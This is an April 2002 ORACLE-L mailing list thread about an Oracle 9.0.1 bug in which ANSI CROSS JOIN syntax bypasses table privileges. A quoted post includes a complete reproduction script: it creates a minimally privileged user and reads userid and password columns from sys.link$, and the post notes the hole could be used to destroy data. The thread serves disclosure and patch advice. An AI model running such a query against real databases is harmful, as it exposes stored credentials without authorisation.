No , the user did not have access to link$.  But that's the point.  The bug allows the 
user access to table he/she doesn't have access to when used with a cross join.

> -----Original Message-----
> From: Hately Mike [mailto:[EMAIL PROTECTED]]
> Sent: Tuesday, April 16, 2002 11:39 AM
> To: Multiple recipients of list ORACLE-L
> Subject: RE: Security Hole
> 
> 
> Glenn, 
> did the user have access to LINK$. It's common practice to 
> restrict access
> to that table.
> 
> Cheers,
> Mike
> 
> -----Original Message-----
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> 
> 
> It appeared in 9i and is fixed in 9.2.
> 8i is not affected as it does not have cross joins.  
> 
> From Metalink Note 137286.1;
> 
> Oracle9i introduces the following SQL:1999-compliant joins:
> 
>     1.1 CROSS Join
>     1.2 NATURAL Join
>     1.3 OUTER Join
>     1.3.1 LEFT OUTER Join
>     1.3.2 RIGHT OUTER Join
>     1.3.3 FULL OUTER Join
> 
> 
> 1.1 CROSS Join
> --------------
> 
> A CROSS join is the cross-product of two tables. It is the 
> equivalent of a
> Cartesian product.
> -----------------------
> 
> I tried the query with a cartesian product in 8i and it didn't work.
> 
> select userid,password from sys.link$, dual
>                                 *
> ERROR at line 1:
> ORA-00942: table or view does not exist
> 
> 
> > -----Original Message-----
> > From: Ruth Gramolini [mailto:[EMAIL PROTECTED]]
> > Sent: Tuesday, April 16, 2002 8:38 AM
> > To: Multiple recipients of list ORACLE-L
> > Subject: Re: Security Hole
> > 
> > 
> > Is this on 9i databases or is 8 involved?  Ruth
> > ----- Original Message ----- 
> > To: "Multiple recipients of list ORACLE-L" <[EMAIL PROTECTED]>
> > Sent: Tuesday, April 16, 2002 7:33 AM
> > 
> > 
> > > This just in from comp.databases.oracle.server.
> > > 
> > > See metalink bug 2121935.
> > > 
> > > Using ANSI syntax joins (CROSS JOIN, LEFT OUTER etc)
> > > allows you to view data from tables on which you have no
> > > privilege.  For example, try this COMPLETE script:
> > > 
> > > connect / as sysdba
> > > create user us1 identified by us1;
> > > grant create session to us1;
> > > 
> > > connect us1/us1
> > > 
> > > select userid, password
> > > from
> > >         sys.link$ cross join dual
> > > ;
> > > 
> > > 
> > > 
> > > Worse still, if you have the privilege to create views
> > > then this loophole allows you to seek and destroy 
> > > ANY DATA in the database that you might want to.
> > > 
> > > The bug is fixed in 9iR2.  I didn't see any note 
> > > about a backport, or a security alert on OTN.
> > > 
> > > Conclusion:
> > > 
> > >     9.0.1 should not be in use on production system
> > >     until Oracle supplies a fix.
> > > 
> > > 
> > > 
> > > Jonathan Lewis
> > > http://www.jlcomp.demon.co.uk
> > > 
> > > Author of:
> > > Practical Oracle 8i: Building Efficient Databases
> > > 
> > > Next Seminar - Australia - July/August
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> > > 
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